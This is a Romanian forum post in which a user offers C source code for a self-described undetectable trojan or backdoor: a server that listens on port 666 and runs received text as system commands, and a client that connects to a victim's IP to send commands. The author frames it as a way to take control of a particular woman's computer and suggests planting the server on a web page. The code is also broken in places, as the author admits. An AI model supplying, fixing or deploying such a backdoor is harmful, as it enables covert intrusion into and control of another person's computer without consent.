!_30
Membru
 Din: Ploiesti
Inregistrat: acum 19 ani
Postari: 716
|
|
In primul rand : Daca este deschis un anume port , folosit de radmin , nu este neaparat ca acel PC sa aiba Radmin pe el.
Daca este in retea cu tine , s-ar putea sa fie mai usor , de vreme ce scapi de tot felul de : port forwadinguri , routari , etc.. Trojeni nedetectabili , dupa cum spuneai tu , sunt facuti de niste baieti care au habar de nitica retelistica , lucrul cu socketurile , API-urile , Linuxul / UNIXU , si poate si ceva GTK/GDU.
Hai sa-ti dau un exemplu de un trojan/backdoor , sau cum vrei tu sa se numeaca ( deci netetectabil ).
prima data scrii serverul ceva de genu :
Code:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <arpa/inet.h>
int
main(int argc,char **argv)
{
int z;
int s,lc,sc;
struct sockaddr_in adr_inet,client;
int len_inet;
int bufsize = 1024;
char *buffer=malloc(bufsize);
s = socket(AF_INET,SOCK_STREAM,0);
if ( s > 0 )
printf(" Socket created ! n");
else
printf(" Error , try again ! ");
adr_inet.sin_family=AF_INET;
adr_inet.sin_port=htons(666); /* Port used for server */
adr_inet.sin_addr.s_addr = htonl(INADDR_ANY);
if (z = bind (s,(struct sockaddr * )&adr_inet,sizeof(adr_inet)) < 0 )
printf(" ERROR ");
else
printf(" OK !" );
listen(s,5);
lc = sizeof(struct sockaddr_in);
if( (sc = accept(s, (struct sockaddr *) &adr_inet ,&lc)) < 0)
{
perror("Eroare la acceptarea conexiunii");
exit(3);
}
recv(sc,buffer,bufsize,0);
printf("Am primit comanda : %s n",buffer);
system("&buffer");
return 0;
} |
Code:
-clientul , cel cu care tu folosesti comenzi pe victima , ca intr-un shell ( SSH ) sa zicem .. |
Code:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <arpa/inet.h>
main(int argc, char *argv)
{
int sc,ss,i;
struct sockaddr_in server;
int bufsize = 1024;
char *buffer = malloc(bufsize);
if( (sc = socket(AF_INET,SOCK_DGRAM,0)) < 0)
{
perror("Eroare la crearea socketului");
exit(1);
}
server.sin_family = AF_INET;
server.sin_port = htons(666);
server.sin_addr.s_addr = inet_addr("HER_IP");
if( connect(sc,(struct sockaddr *) &server, sizeof(server)) < 0){
perror("Eroare la conectare");
exit(2);
optiuni(); }
gets(buffer);
send(sc,buffer,bufsize,0);
return 0;
} |
E , are erori , ca nu am stat eu acuma sa'l bibilesc , schimba si tu functiile de sistem ( ca aici eu le-am folosit pentru UNIX/Linux ) , si baga-le pentru OS'ul care il folsoeste tipa ( cred ca Windows ) , gandest-ete putin , daca vrei pune serverul , de mai sus pe o pagina web , si cand intra pot , apoi o conotrolez prin shelul minimal creat .. cu cluentul pe care l-am scris mai sus.
Have fun !

_______________________________________ Portal educational :
Best art Nude Photos website
|
|